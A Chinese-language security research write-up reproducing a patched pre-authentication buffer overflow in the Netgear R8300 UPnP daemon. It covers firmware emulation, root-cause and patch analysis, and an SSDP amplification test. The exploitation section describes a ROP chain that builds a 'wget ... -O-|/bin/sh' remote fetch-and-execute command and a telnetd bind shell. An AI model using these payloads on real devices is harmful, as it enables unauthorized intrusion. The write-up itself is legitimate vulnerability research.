前言
R8300 是 Netgear 旗下的一款三频无线路由,主要在北美发售,官方售价 $229.99。
2020 年 7 月 31 日,Netgear 官方发布安全公告,在更新版固件 1.0.2.134 中修复了 R8300 的一个未授权 RCE 漏洞【1】。2020 年 8 月 18 日,SSD Secure Disclosure 上公开了该漏洞的细节及 EXP【2】。
该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。
回顾了下整个复现流程还是很有趣的,特此记录。
环境搭建
下面先搭建漏洞调试环境。在有设备的情况下,有多种直接获取系统 shell 的方式,如:
- 硬件调试接口,如:UART
- 历史 RCE 漏洞,如:NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞【3】
- 设备自身的后门,Unlocking the Netgear Telnet Console【4】
- 破解固件检验算法,开启 telnet 或植入反连程序。
不幸的是,没有设备…
理论上,只要 CPU 指令集对的上,就可以跑起来,所以我们还可以利用手头的树莓派、路由器摄像头的开发板等来运行。最后一个就是基于 QEMU 的指令翻译,可以在现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。
下载固件
Netgear 还是很良心的,在官网提供了历史固件下载。
下载地址:【5】
下载的固件 md5sum 如下:
1 | c3eb8f8c004d466796a05b4c60503162 R8300-V1.0.2.130_1.0.99.zip - 漏洞版本 |
binwalk 可以正确识别。
1 | ➜ binwalk R8300-V1.0.2.130_1.0.99.chk |
使用 binwalk -Me
提取出 Squashfs 文件系统,漏洞程序是 ARMv5
架构,动态链接,且去除了符号表。
1 | ➜ squashfs-root ls |
QEMU 模拟
在基于 QEMU 的固件模拟这块,网上也有一些开源的平台,如比较出名的 firmadyne【6】、ARM-X【7】。不过相比于使用这种集成环境,我更倾向于自己动手,精简但够用。
相应的技巧在之前的文章 《Vivotek 摄像头远程栈溢出漏洞分析及利用》【8】 也有提及,步骤大同小异。
在 Host 机上创建一个 tap 接口并分配 IP,启动虚拟机:
1 | sudo tunctl -t tap0 -u `whoami` |
用户名和密码都是 root,为虚拟机分配 IP:
1 | ifconfig eth0 192.168.2.2/24 |
这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev,最后 chroot 即可。
1 | root@debian-armhf:~# ls |
修复运行依赖
直接运行没有任何报错就退出了,服务也没启动。
经过调试发现是打开文件失败。
手动创建 /tmp/var/run
目录,再次运行提示缺少 /dev/nvram
。
NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用 LD_PRELOAD
劫持以下函数符号。
网上找到一个现成的实现:【9】,交叉编译:
1 | ➜ armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so |
还是报错,找不到 dlsym
的符号。之所以会用到 dlsym
,是因为该库的实现者还同时 hook 了 system
、fopen
、open
等函数,这对于修复文件缺失依赖,查找命令注入漏洞大有裨益。
/lib/libdl.so.0
导出了该符号。
1 | ➜ grep -r "dlsym" . |
可以跑起来了,不过由于缺少配置信息,还是会异常退出。接下来要做的就是根据上面的日志补全配置信息,其实特别希望能有一台 R8300,导出里面的 nvram 配置…
简单举个例子,upnpd_debug_level
是控制日志级别的,sub_B813()
是输出日志的函数,只要 upnpd_debug_level > sub_B813() 的第一个参数
,就可以在终端输出日志。
下面分享一份 nvram 配置,至于为什么这么设置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。
1 | upnpd_debug_level=9 |
upnpd 服务成功运行!
漏洞分析
该漏洞的原理很简单,使用 strcpy()
拷贝导致的缓冲区溢出,来看看调用流程。
在 sub_1D020()
中使用 recvfrom()
从套接字接受最大长度 0x1fff
的 UDP 报文数据。
在 sub_25E04()
中调用 strcpy()
将以上数据拷贝到大小为 0x634 - 0x58 = 0x5dc
的 buffer。
利用分析
通过 checksec
可知程序本身只开了 NX 保护,从原漏洞详情得知 R8300 上开了 ASLR。
很容易构造出可控 PC 的 payload,唯一需要注意的是栈上有个 v39 的指针 v41,覆盖的时候将其指向有效地址即可正常返回。
1 | #!/usr/bin/python3 |
显然,R4 - R11
也是可控的,思考一下目前的情况:
- 开了 NX 不能用
shellcode
。 - 有 ASLR,不能泄漏地址,不能使用各种 LIB 库中的符号和
gadget
。 strcpy()
函数导致的溢出,payload 中不能包含\x00
字符。
其实可控 PC 后已经可以干很多事了,upnpd
内包含大量 system
函数调用,比如 reboot
。
下面探讨下更为 general 的 RCE 利用,一般像这种 ROP 的 payload 中包含 \x00
,覆盖返回地址的payload 又不能包含 \x00
,就要想办法提前将 ROP payload 注入目标内存。
比如,利用内存未初始化问题,构造如下 PoC,每个 payload 前添加 \x00
防止程序崩溃。
1 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
在漏洞点下断点,
两次拷贝完成后,看下内存布局:
可以看到,由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。
这么大的空间,也足以给 ROP 的 payload 一片容身之地。
借用原作者的一张图,利用原理如下:
关于 ROP,使用 strcpy
调用在 bss 上拼接出命令字符串,并调整 R0 指向这段内存,然后跳转 system
执行即可。
原作者构造的 system("telnetd -l /bin/sh -p 9999& ")
绑定型 shell。
经过分析,我发现可以构造 system("wget http://{reverse_ip}:{reverse_port} -O-|/bin/sh")
调用,从而无限制任意命令执行。
构造的关键在于下面这张表。
发送 payload,通过 hook 的日志可以看到,ROP 利用链按照预期工作,可以无限制远程命令执行。
(由于模拟环境的问题,wget 命令运行段错误了…)
补丁分析
在更新版固件 V1.0.2.134
中,用 strncpy()
代替 strcpy()
,限制了拷贝长度为 0x5db
,正好是 buffer 长度减 1。
补丁中还特意用 memset()
初始化了 buffer。这是由于 strncpy()
在拷贝时,如果 n < src 的长度,只是将 src 的前 n 个字符复制到 dest 的前 n 个字符,不会自动添加 \x00
,也就是结果 dest 不包括 \x00
,需要再手动添加一个 \x00
;如果 src 的长度小于 n 个字节,则以\x00
填充 dest 直到复制完 n 个字节。
结合上面的 RCE 利用过程,可见申请内存之后及时初始化是个很好的编码习惯,也能一定程度上避免很多安全问题。
影响范围
通过 ZoomEye 网络空间搜索引擎对关键字 "SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0"
进行搜索,共发现 18889 条 Netgear UPnP 服务的 IP 历史记录,主要分布在美国【10】。其中是 R8300 这个型号的会受到该漏洞影响。
其他
说句题外话,由于协议设计缺陷,历史上 UPnP 也被多次曝出漏洞,比如经典的 SSDP 反射放大用来 DDoS 的问题。
在我们的模拟环境中进行测试,发送 132 bytes 的 ST: ssdp:all M-SEARCH
查询请求 ,服务器响应了 4063 bytes 的数据,放大倍率高达 30.8。
因此,建议网络管理员禁止 SSDP UDP 1900 端口的入站请求。
1 | ➜ pocsuite -r upnp_ssdp_ddos_poc.py -u 192.168.2.2 -v 2 |
相关链接
【1】: Netgear 官方安全公告
【2】: 漏洞详情
https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/
【3】: NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞
https://www.seebug.org/vuldb/ssvid-98253
【4】: Unlocking the Netgear Telnet Console
【5】: 固件下载
https://www.netgear.com/support/product/R8300.aspx#download
【6】: firmadyne
https://github.com/firmadyne/firmadyne
【7】: ARM-X
https://github.com/therealsaumil/armx
【8】: Vivotek 摄像头远程栈溢出漏洞分析及利用
【9】: nvram hook 库
https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c
【10】: ZoomEye 搜索